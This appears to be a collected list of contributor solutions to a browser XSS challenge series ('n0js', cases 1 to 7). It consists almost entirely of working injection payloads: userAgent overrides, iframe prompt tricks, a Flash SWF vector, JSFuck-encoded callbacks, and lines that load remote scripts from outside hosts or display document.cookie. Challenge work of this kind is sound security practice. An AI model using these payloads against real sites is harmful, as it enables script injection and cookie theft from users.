n0js Challenges

http://server.n0tr00t.com/n0js/case1.html

#### @Nearg1e [yourneargo@gmail.com]
- http://server.n0tr00t.com/n0js/case1_writeup.txt

http://server.n0tr00t.com/n0js/case2.html

#### @fyth
- case2.html?a=location.hash.substr(1)#setTimeout("hi.eval('prompt(location.href)')",500)
- case2.html?a=location.hash.substr(1)#navigator.__defineGetter__('userAgent', function(){ return '<svg/onload=prompt(location.href)>'})

#### @evi1m0

- case2.html?a=location.hash.substr(1)#var frame = document.createElement('iframe');
  frame.style.display = 'none'; document.body.appendChild(frame);
  function navigator(){} window.navigator = new Proxy(window.frames[0].window.navigator,
  { get: function(n0t){return "<img src=@ onerror=alert(location.href)>";} })
  
#### 1124696276

- case2.html?a=location.hash.substr(1)#function createProperty(value){var _value=value;function _get(){return _value}function _set(v){_value=v}return{"get":_get,"set":_set}};
  function makePropertyWritable(objBase,objScopeName,propName,initValue){var newProp,initObj;if(objBase&&objScopeName in objBase&&propName in objBase[objScopeName])
  {if(typeof initValue==="undefined"){initValue=objBase[objScopeName][propName]}
  newProp=createProperty(initValue);try{Object.defineProperty(objBase[objScopeName],propName,newProp)}
  catch(e){initObj={};initObj[propName]=newProp;
  try{objBase[objScopeName]=Object.create(objBase[objScopeName],initObj)}catch(e){}}}};
  makePropertyWritable(window,"navigator","userAgent");
  window.navigator.userAgent="<script>prompt(location.href)</script>";

#### @gaoheby
- case2.html?a=window.location.hash.substring(1)#Object.defineProperty(navigator,'userAgent',
  {get:function(){return '<script>prompt(location.href)</script>';}})

#### Cnlouds
- case2.html?test=location.hash.substr(1)#window.addEventListener('load', function(){window.hi.prompt(hi.location.href)});

#### kaotudou [jianshu.com/p/eb22e86635e0]
- case2.html?1=eval((window.location.search.substring(49)));
  =var/**/script=document.createElement`script`;script.src=`https://
  ctf.f4ck0.com/1.js`;document.body.appendChild(script);

http://server.n0tr00t.com/n0js/case3.php

#### @Nearg1e [yourneargo@gmail.com]
- case3.php?2017=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=url%20value=http://tangzi.info:43992/payload/n0js_case3.swf%3E
- AS3 Script:
    package {
        import flash.*;
        import flash.net.*;

        public class XSS {

            public function XSS():void{
            }
            public static function main():void{
                Lib.getURL(new URLRequest("javascript:a=document.createElement('iframe');a.src='https://www.n0tr00t.com/static/test/helloevent.html';document.body.appendChild(a);setTimeout(function(){window.frames[0].postMessage('<img src=1 onerror=prompt(document.cookie)>','*')},3000);"), "_top");
            }

        }
    }
    
#### daocaoren [jkme.github.io/n0js-case3.html]
- case3.php?2017=%3Csvg%3E%3Cset+href%3d%23script+attributeName%3dhref+to%3ddata%3a%2cs%3ddocument.createElement(%22script%22)
  %3bs.src%3d%22http%3a%2f%2f45.32.138.203%2f2.js%22%3bdocument.body.appendChild(s)%3b+%2f%3E%3Cscript+id%3dscript+src%3dfoo%3E%3C%2fscript%3E+
- jssource:
    var t = document.createElement("iframe");
    t.setAttribute("src","https://www.n0tr00t.com/static/test/helloevent.html");
    document.body.appendChild(t);

    function a(){
        var b = document.createElement("button");
        b.setAttribute("onclick","frames[0].postMessage('<img src=x onerror=alert(document.cookie)>','*')");
        b.click();
    }
    //setTimeout("a()",3000);
    window.onload = a();

http://server.n0tr00t.com/n0js/case4.php

#### @woto [woto3679@gmail.com]
- case4.php?x=d=document;D=Document.prototype;D.appendChild.call(d.body,(D.createElement.call(d,%22iframe%22))).contentWindow.prompt.call(window,location);

#### @evi1m0 [evi1m0.bat@gmail.com]
- case4.php?x=document.writeln(%27%3Ciframe%3E%27);frames[0].prompt(location)

#### @Nearg1e [yourneargo@gmail.com]
- case4.php?x=document.writeln(%22%3Ciframe%3E%3C/iframe%3E%22);let%20f=document.querySelector(%27iframe%27);f.contentWindow.prompt(location);

#### @math1as [ma7h1as.l@gmail.com]
- case4.php?x=document.body.innerHTML=%27%3Ciframe%20id=%22a%22%20/%3E%27;a.contentWindow.prompt(location)

http://server.n0tr00t.com/n0js/case5.php

#### @Nearg1e [yourneargo@gmail.com]
- case5.php?x=<script type="text/javascript" src=case5-time.php?callback=[][(![]%252B[])[%252B[]]%252B([![]]%252B[][[]])[%252B!%252B[]%252B[%252B[]]]%252B(![]%252B[])[!%252B[]%252B!%252B[]]%252B(!![]%252B[])[%252B[]]%252B(!![]%252B[])[!%252B[]%252B!%252B[]%252B!%252B[]]%252B(!![]%252B[])[%252B!%252B[]]][([][(![]%252B[])[%252B[]]%252B([![]]%252B[][[]])[%252B!%252B[]%252B[%252B[]]]%252B(![]%252B[])[!%252B[]%252B!%252B[]]%252B(!![]%252B[])[%252B[]]%252B(!![]%252B[])[!%252B[]%252B!%252B[]%252B!%252B[]]%252B(!![]%252B[])[%252B!%252B[]]]%252B[])[!%252B[]%252B!%252B[]%252B!%252B[]]%252B(!![]%252B[][(![]%252B[])[%252B[]]%252B([![]]%252B[][[]])[%252B!%252B[]%252B[%252B[]]]%252B(![]%252B[])[!%252B[]%252B!%252B[]]%252B(!![]%252B[])[%252B[]]%252B(!![]%252B[])[!%252B[]%252B!%252B[]%252B!%252B[]]%252B(!![]%252B[])[%252B!%252B[]]])[%252B!%252B[]%252B[%252B[]]]%252B([][[]]%252B[])[%252B!%252B[]]%252B(![]%252B[])[!%252B[]%252B!%252B[]%252B!%252B[]]%252B(!![]%252B[])[%252B[]]%252B(!![]%252B[])[%252B!%252B[]]%252B([][[]]%252B[])[%252B[]]%252B([][(![]%252B[])[%252B[]]%252B([![]]%252B[][[]])[%252B!%252B[]%252B[%252B[]]]%252B(![]%252B[])[!%252B[]%252B!%252B[]]%252B(!![]%252B[])[%252B[]]%252B(!![]%252B[])[!%252B[]%252B!%252B[]%252B!%252B[]]%252B(!![]%252B[])[%252B!%252B[]]]%252B[])[!%252B[]%252B!%252B[]%252B!%252B[]]%252B(!![]%252B[])[%252B[]]%252B(!![]%252B[][(![]%252B[])[%252B[]]%252B([![]]%252B[][[]])[%252B!%252B[]%252B[%252B[]]]%252B(![]%252B[])[!%252B[]%252B!%252B[]]%252B(!![]%252B[])[%252B[]]%252B(!![]%252B[])[!%252B[]%252B!%252B[]%252B!%252B[]]%252B(!![]%252B[])[%252B!%252B[]]])[%252B!%252B[]%252B[%252B[]]]%252B(!![]%252B[])[%252B!%252B[]]]((![]%252B[])[%252B!%252B[]]%252B(![]%252B[])[!%252B[]%252B!%252B[]]%252B(!![]%252B[])[!%252B[]%252B!%252B[]%252B!%252B[]]%252B(!![]%252B[])[%252B!%252B[]]%252B(!![]%252B[])[%252B[]]%252B'(1)')()>

#### fubb[at]unseen.is
- case5.php?x=%3Cscript%20src=%27case5-time.php?callback=[][%22%5C155%5C141%5C160%22][%22%5C143%5C157%5C156%5C163%5C164%5C162%5C165%5C143%5C164%5C157%5C162%22](%22%5C141%5C154%5C145%5C162%5C164%5C50%5C61%5C51%22)%27%3E

http://server.n0tr00t.com/n0js/case6.php

#### @Nearg1e [yourneargo@gmail.com]
- case6.php?x=*/1%3C/script%3E%3Cscript%3E/*prompt(1);function%20lt(){};//

http://server.n0tr00t.com/n0js/case7.html